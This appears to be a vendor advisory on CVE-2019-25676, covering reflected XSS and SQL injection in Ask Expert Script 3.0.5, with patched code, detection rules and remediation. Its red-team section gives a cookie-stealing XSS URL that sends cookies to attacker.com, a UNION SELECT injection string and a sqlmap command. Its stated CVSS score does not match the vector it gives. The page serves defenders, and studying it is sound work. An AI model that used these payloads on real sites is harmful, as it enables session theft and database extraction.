CVE-2019-25676
Executive Summary
CVE-2019-25676 is a critical vulnerability affecting Phpscriptsmall Ask Expert Script version 3.0.5. The software is a standalone PHP-based Q&A platform, not a WordPress plugin. The vulnerability combines a reflected Cross-Site Scripting (XSS) via the cateid parameter in categorysearch.php and a SQL injection via the view parameter in list-details.php. An unauthenticated attacker can exploit these flaws remotely to execute arbitrary JavaScript in a victim's browser or extract sensitive database contents, including user credentials and application data. The CVSS score of 8.2 reflects high impact on confidentiality, integrity, and availability. No official patch has been released, making this a high-priority unpatched risk for any organization using this software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain package security implications apply.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.2 (High)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – Unauthenticated exploitation.
- User Interaction: None (UI:N) – No victim action needed for SQLi; XSS requires user to visit a crafted link.
- Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
- Confidentiality Impact: High (C:H) – Full database read possible.
- Integrity Impact: High (I:H) – Data modification via SQLi or script injection.
- Availability Impact: High (A:H) – Potential denial of service via SQLi.
Threat Level: Critical. The combination of unauthenticated remote access, low complexity, and high impact makes this a severe threat. The lack of a patch means all instances are vulnerable.
Deep Dive & Mechanics
The vulnerability resides in two distinct endpoints:
Cross-Site Scripting (XSS) in
categorysearch.php:- The
cateidparameter is directly reflected into the HTML response without sanitization. - An attacker crafts a URL like:
http://target/categorysearch.php?cateid=<script>alert('XSS')</script>. - When a victim visits this link, the script executes in their browser context, allowing cookie theft, redirection, or keylogging.
- The
SQL Injection in
list-details.php:- The
viewparameter is concatenated into a SQL query without parameterization. - An attacker can inject SQL commands via:
http://target/list-details.php?view=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -. - This allows extraction of database contents, including user tables, admin credentials, and application secrets.
- The
Both flaws are unauthenticated and require no special privileges.
Vulnerable vs. Patched Code
Vulnerable Code (categorysearch.php):
<?php
$cateid = $_GET['cateid'];
echo "Category ID: " . $cateid;
?>
Patched Code (categorysearch.php):
<?php
$cateid = htmlspecialchars($_GET['cateid'], ENT_QUOTES, 'UTF-8');
echo "Category ID: " . $cateid;
?>
Vulnerable Code (list-details.php):
<?php
$view = $_GET['view'];
$query = "SELECT * FROM details WHERE id = " . $view;
$result = mysqli_query($conn, $query);
?>
Patched Code (list-details.php):
<?php
$view = intval($_GET['view']);
$stmt = $conn->prepare("SELECT * FROM details WHERE id = ?");
$stmt->bind_param("i", $view);
$stmt->execute();
$result = $stmt->get_result();
?>
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install Ask Expert Script 3.0.5 on a local LAMP stack (PHP 7.x, MySQL 5.x).
- Ensure
categorysearch.phpandlist-details.phpare accessible.
Exploit Steps:
XSS Exploit:
- Craft URL:
http://localhost/categorysearch.php?cateid=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Send link to victim via phishing email or social engineering.
- Victim's browser executes script, sending cookies to attacker server.
- Craft URL:
SQL Injection Exploit:
- Use sqlmap:
sqlmap -u "http://localhost/list-details.php?view=1" --batch --dbs - Or manual injection:
http://localhost/list-details.php?view=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- - - Extract admin credentials from
userstable.
- Use sqlmap:
Blue Team (Defensive)
Detection:
- Monitor web server logs for suspicious
cateidorviewparameters containing SQL keywords (UNION,SELECT,--) or script tags (<script>,<img onerror=). - Deploy WAF rules to block common XSS and SQLi patterns.
Hunting:
- Search for HTTP requests to
categorysearch.phpwith non-numericcateidvalues. - Search for requests to
list-details.phpwithviewcontaining SQL syntax.
Containment:
- If exploited, isolate the web server, rotate all database credentials, and restore from clean backup.
- Apply virtual patching via WAF until official fix is available.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/categorysearch.php?cateid=<script>...</script> - HTTP GET requests to
/list-details.php?view=1 UNION SELECT ... - Outbound connections from web server to unknown IPs on port 80/443 (exfiltration).
- HTTP GET requests to
File IOCs:
- Modified
categorysearch.phporlist-details.phpwith injected backdoors. - Suspicious files in web root (e.g.,
shell.php,cmd.php).
- Modified
Log IOCs:
- Web server logs showing
cateidwith HTML tags orviewwith SQL keywords. - Database logs showing unexpected
UNIONorSELECTqueries.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2019_25676_AskExpert_XSS_SQLi {
meta:
description = "Detects exploitation attempts for CVE-2019-25676 in Ask Expert Script"
author = "Valters IT"
date = "2025-04-17"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2019-25676"
strings:
$xss_pattern = /cateid=.*<script[^>]*>.*<\/script>/i
$sqli_pattern = /view=.*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--)/i
condition:
any of them
}
Sigma Rule
title: CVE-2019-25676 Ask Expert Script XSS and SQLi Detection
id: 8a3f7c2e-5b1d-4a9e-8c6f-2d3e4f5a6b7c
status: experimental
description: Detects exploitation attempts for CVE-2019-25676 via URL parameters
author: Valters IT
date: 2025-04-17
logsource:
category: webserver
product: apache
detection:
selection_xss:
cs-uri-query|contains: 'cateid='
cs-uri-query|re: '.*<script[^>]*>.*<\/script>.*'
selection_sqli:
cs-uri-query|contains: 'view='
cs-uri-query|re: '.*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--).*'
condition: selection_xss or selection_sqli
falsepositives:
- Legitimate use of SQL keywords in non-vulnerable parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2019-25676 Ask Expert Script XSS Attempt"; flow:to_server; content:"/categorysearch.php"; http_uri; content:"cateid="; http_uri; pcre:"/cateid=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2019-25676 Ask Expert Script SQLi Attempt"; flow:to_server; content:"/list-details.php"; http_uri; content:"view="; http_uri; pcre:"/view=.*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--)/i"; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Virtual Patching: Deploy WAF rules to block requests containing
cateidwith HTML tags orviewwith SQL keywords. - Input Validation: Manually patch the code as shown in the "Vulnerable vs. Patched Code" section.
- Access Control: Restrict access to
categorysearch.phpandlist-details.phpvia.htaccessor firewall rules if possible.
Long-Term Fix:
- Since no official patch exists, consider migrating to an alternative, actively maintained Q&A platform.
- If migration is not possible, implement a full code audit and apply secure coding practices (parameterized queries, output encoding).
Monitoring:
- Enable detailed logging for all web requests and database queries.
- Set up alerts for the Sigma and Suricata rules provided.
Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated: 2025-04-17
{/* [Security Hash: C0AE62EA7911DD826E0A4205] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.